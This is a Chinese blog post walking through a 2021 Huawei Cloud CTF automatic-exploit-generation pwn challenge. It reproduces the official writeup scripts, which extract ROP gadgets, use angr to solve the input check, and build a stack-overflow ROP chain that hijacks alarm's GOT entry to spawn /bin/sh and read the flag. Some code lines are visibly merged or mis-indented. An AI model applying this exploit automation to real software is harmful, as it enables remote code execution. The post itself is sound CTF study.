CTF中的AEG(五) 2021 华为云专场 pwn_game

在本地搭了环境
相关的docker啥的官方给了
在github
搜一下就可

nc一下
在这里插入图片描述先用相应脚本把程序拿出来

import re
import itertools
import string
import codecs
from hashlib import sha256
from pwn import remote, context
import os
import itertools
import datetime
context.log_level = 'debug'


def exp():
    sh = remote('127.0.0.1' , "9997")
    sh.recvuntil("data info------------------\n")
    d = sh.recvuntil("Hi")
    d = d[:-3]
    print d
    with open('out.data', 'wb') as f:
        f.write(d)

    os.system('base64 -d out.data > 1.elf')
    
    sh.interactive()
    

while(1):
    exp()

多拿几个
看一下保护
在这里插入图片描述没有canary、pie、relro

拿到的文件丢到ida看一下
在这里插入图片描述在这里插入图片描述
他让我们运行这个程序,后面带上输入
输入的作用就是作为参数,进去过约束
然后直接就是一个栈溢出。
程序简直不要太简单
我们多来几个文件试试看他在什么地方随机

在这里插入图片描述四个程序
这就显而易见了嘛

约束当然是随机的
栈溢出的长度也是随机的
payload最大长度也是随机的,不过这个应该影响不大。

额外提一句时间是3s

我们一起来瞅瞅官方给的wp咋写的。
get_addr.py

import commands

#封装了一个执行命令行命令的函数
def do_command(cmd_line):
	(status, output) = commands.getstatusoutput(cmd_line)
	return output
​
#在字符串中间找一个字符串
def get_mid_str(data, b_str, e_str, s_pos = 0):
	b_pos = data.find(b_str, s_pos)
	if b_pos == -1:
		return ""
	b_pos += len(b_str)
	e_pos = data.find(e_str, b_pos)
​
	data = data[b_pos:e_pos]
	#print s_pos, b_pos, e_pos
	#print data
	while b_str in data:
		data = data[data.find(b_str)+len(b_str):]
	#print data
	return data
​
#一个写文件操作
def write_file(filename, data, mode = "wb"):
	file_w = open(filename, mode)
	file_w.write(data)
	file_w.close()#对那个dump下来的二进制文件进行处理
#把解题要用的相关信息拿出来丢在angr_deal.conf文件中
def do_angr_conf():
	tmp_file_asm = do_command("objdump -d tmp_file.bin")
​
	b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")
​
	main_addr = get_mid_str(tmp_file_asm, " mov   $0x", ",%rdi\n", b_pos - 0x80)
	#print main_addr
	b_pos = tmp_file_asm.find("%s:"%main_addr)
	b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
	deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
	print "start_addr =>", deal_func_addr
​
	b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
	s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
	success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
	print "success =>", success
	f_b_pos = tmp_file_asm.find("leave", b_pos)
	fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
	print "fail =>", fail
​
	data_write = ""
	data_write += deal_func_addr + "\n"
	data_write += success + "\n"
	data_write += fail + "\n"
​
	write_file("angr_deal.conf", data_write)#进行一些pwn用的设置
#具体来说就是先ROPgadget直接搜要用的gadget
#然后把rop链写在do_pwn_next.conf文件里面一会用
def do_pwn_conf():
	rop_asm = do_command("ROPgadget --binary tmp_file.bin")
​
	rop_map = {}
	rop_map["p_rdi_ret"] = "pop rdi ; ret"
	rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret"
	rop_map["ret_addr"] = "ret"
	rop_map["p_rbp_ret"] = "pop rbp ; ret"
	rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret"
​
	rop_map_val = {}
​
	mov_edx_rbp_p_rbp_ret = 0for line in rop_asm.split("\n"):
		items = line.split(" : ")
		if len(items) != 2:
			continuefor key in rop_map.keys():
		if key not in rop_map_val.keys():
			if items[1] == rop_map[key]:
				rop_map_val[key] = int(items[0], 16)if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"):
			mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10
​
​
		got_data = do_command("objdump -R tmp_file.bin")
		alarm_got = 0for line in got_data.split("\n"):
		items = line.split(" ")
	if len(items) < 3:
		continue
	got_name = items[-1].split("@")[0]
	if got_name == "alarm":
		alarm_got = int(items[0], 16)
	​
	tmp_file_asm = do_command("objdump -d tmp_file.bin")
	b_pos = tmp_file_asm.find(" <read@plt>:\n")
	read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18)
	read_plt = int(read_plt, 16)
	b_pos = tmp_file_asm.find(" <atoi@plt>:\n")
	atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18)
	atoi_plt = int(atoi_plt, 16)
​
	b_pos = tmp_file_asm.find(" <read@plt>\n")
	#print tmp_file_asm[b_pos-0x100:b_pos+0x10]
	rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100)
	#print rbp_val
	rbp_val = int(rbp_val.strip(), 16)
	print "rbp:", hex(rbp_val)
​
	data_write = ""
	data_write += "0x%x\n"%rop_map_val["p_rdi_ret"]
	data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"]
	data_write += "0x%x\n"%rop_map_val["ret_addr"]
	data_write += "0x%x\n"%rop_map_val["p_rbp_ret"]
	data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret
	data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1)
	data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a)
	data_write += "0x%x\n"%alarm_got
	data_write += "0x%x\n"%read_plt
	data_write += "0x%x\n"%atoi_plt
	data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "")
​
​
	write_file("do_pwn_next.conf", data_write)

​
​
def do_work():
	do_angr_conf()
	do_pwn_conf()
​
​
do_work()

angr_deal.py
利用angr过约束就在这个文件里面

import angr
from angr import *
#from simuvex.procedures.stubs.UserHook import UserHook
​
binary_path = "./tmp_file.bin"
​
stack_addr = 0
​
​
def get_mem(state, addr, size):
	mem = state.memory.load(addr, size)
	#print mem
	return state.se.eval(mem)def gen_cond(state, index):
	"""Returns a symbolic BitVector and contrains it to printable chars for a given state."""
	bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True)
	return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff)
	​
​
def read_file(filename, mode = "rb"):
	file_r = open(filename, mode)
	data = file_r.read()
	file_r.close()
	return data
​
def write_file(filename, data, mode = "wb"):
	file_w = open(filename, mode)
	file_w.write(data)
	file_w.close()def run_angr():#proj = angr.Project(binary_path, load_options={'auto_load_libs': False})
	proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False})


	data = read_file("angr_deal.conf")
	if len(data) > 0:
		items = data.split('\n')
		start_addr = int(items[0], 16)
		success = (int(items[1], 16), )
		fail = (int(items[2], 16), )print (start_addr)
		print (success)
		print (fail)print hex(start_addr)
		print hex(success[0])
		print hex(fail[0])else:
		start_addr = 0x400B57
		success = (0x400C45, )
		fail = (0x400C6C, )#"""
	initial_state = proj.factory.blank_state(addr = start_addr)
​
	r_edi = initial_state.se.BVS('edi', 32)
	initial_state.regs.edi = r_edi
​
	pg = proj.factory.simgr(initial_state, immutable=False)
	pg.explore(find=success, avoid=fail)
	found_state = pg.found[0]
	result = found_state.se.eval(r_edi)
	print hex(result)
	write_file("passcode.conf", "%d"%result)
	exit(0)
​
run_angr()

aeg_pwn.py

from zio import *#用zio做了交互

is_local = True
is_local = False
​
binary_path = "./no"
​
libc_file_path = ""
#libc_file_path = "./libc.so.6"
​
ip = "127.0.0.1"
port = 2333if is_local:
	target = binary_path
else:
	target = (ip, port)#是本地连接还是远程链接

def d2v_x64(data):
	return l64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
	return l32(data[:4].ljust(4, '\x00'))#32位或者64位的接受吧


def rd_wr_str(io, info, buff):
	io.read_until(info)
	io.write(buff)

def rd_wr_int(io, info, val):
	rd_wr_str(io, info, str(val) + "\n")#两个转字符串函数def get_io(target):
	r_m = COLORED(RAW, "green")
	w_m = COLORED(RAW, "blue")
	#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
	io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m,env={"LD_PRELOAD":libc_file_path})
	return io
​#就是拿到io

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()import commands
def do_command(cmd_line):
	(status, output) = commands.getstatusoutput(cmd_line)
	return output
#执行命令def read_file(filename, mode = "rb"):
	file_r = open(filename, mode)
	data = file_r.read()
	file_r.close()
	return data
​#读文件

set_args_addr = 0x400d2a
call_func_addr = 0x400d10def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None):
  global set_args_addr, call_func_addr
  #set_args_addr
  payload = ""
  payload += l64(set_args_addr)
  payload += l64(0)           #pop rbx = 0
  payload += l64(1)           #pop rbp
  payload += l64(func_got)     #pop r12
  payload += l64(arg3)         #pop r13
  payload += l64(arg2)         #pop r14
  payload += l64(arg1)         #pop r15
  if ret_addr != None:
      payload += l64(ret_addr)
  else:
      payload += l64(call_func_addr)return payload
​#编写payloaddef do_pwn_next(io):
	global set_args_addr, call_func_addr
	p_rdi_ret = 0x0000000000400d33
	p_rsi_r15_ret = 0x0000000000400d31
	p_rbp_ret = 0x400B55
	ret_addr = 0x0000000000400b31
​
	mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc     [rbp+48h], edx
​
	read_plt                   = 0x00000000004007e0
	alarm_got                 = 0x0000000000602038
	atoi_plt   = 0x400800
​
	data = read_file("do_pwn_next.conf")
	val_list = []
	#写了个文件,又把相关数据读了出来
	#感觉有点麻烦
	
	for line in data.strip().split("\n"):
	val_list.append(int(line, 16))
	print hex(int(line, 16))
​
	p_rdi_ret = val_list[0]
	p_rsi_r15_ret = val_list[1]
	ret_addr = val_list[2]
	p_rbp_ret = val_list[3]
	mov_edx_rbp_p_rbp_ret = val_list[4]
	set_args_addr = val_list[5]
	call_func_addr = val_list[6]
	alarm_got = val_list[7]
	read_plt = val_list[8]
	atoi_plt = val_list[9]
​
	rbp_add_val = val_list[10]#对数据进行一些处理之后再写出来
​
	bss_addr = 0x00601000 + 0xa00
​
	pre_payload = ""
	pre_payload += 'a'*(0-rbp_add_val)
	pre_payload += 'b'*8
	#重点是在preload中填充的长度也要通过angr来获得
​
	payload = ""
	payload += l64(p_rdi_ret) + l64(0)
	payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2
	payload += l64(read_plt)
​
	payload += gen_rop(bss_addr, 0, 0, 0x5)
	payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8]
	payload += l64(p_rbp_ret) + l64(alarm_got - 0x48)
	payload += l64(mov_edx_rbp_p_rbp_ret) * 2#set rax = 0x3b
	payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2)
	payload += l64(atoi_plt)
	#execve("/bin/sh", 0, 0)
	payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)
	#payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8]
	payload += "\n"#io.gdb_hint()
	#print repr(payload)
	print hex(len(payload))
​
	payload = pre_payload + payload
	print payload[:-1].find("\n")#payload还分成了两个部分,但是总起来讲是劫持了alarm的got表

	#io.gdb_hint()
	io.write(payload)#raw_input(":")import time
	time.sleep(0.5)
	payload = ""
	payload += l64(ret_addr)
	payload += "/bin/sh\x00".ljust(0x18, '\x00')
	payload += "59\x00"
	payload += "\n"
	io.write(payload)
	time.sleep(0.5)

​
	io.writeline("id")
	io.writeline("ls -al")
	io.writeline("cat flag 2>&1")
	io.writeline("exit")
	io.interact()def pwn(io):
	io.read_until("------------------data info------------------\n")
	data = io.read_until("\n").strip()
	data = data.decode("base64")
	print(len(data))
	write_file("tmp_file.bin", data)
	#print repr(data.decode("base64")[:4])#文件都卸载tmp_file.bin里面

	io.read_until("code:")
	do_command("chmod +x tmp_file.bin")
	do_command("python get_addr.py")
	do_command("python angr_deal.py")#执行三个命令	

	data = read_file("passcode.conf")
#do_command("rm tmp_file.bin luckynum.conf")#从文件里面读数据,这里的数据应该是调用angr过了约束得到的

	data = data.strip()
	io.writeline(data)#对数据进行处理然后写回去

	do_pwn_next(io)#调用这个函数进行后面的利用

	io.interact()
​
io = get_io(target)
#先拿到io
pwn(io)
exit(0)

整体来说题目难度不大
wp感觉稍微写的有点繁琐
但是里面对rop链的编写很值得学习

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值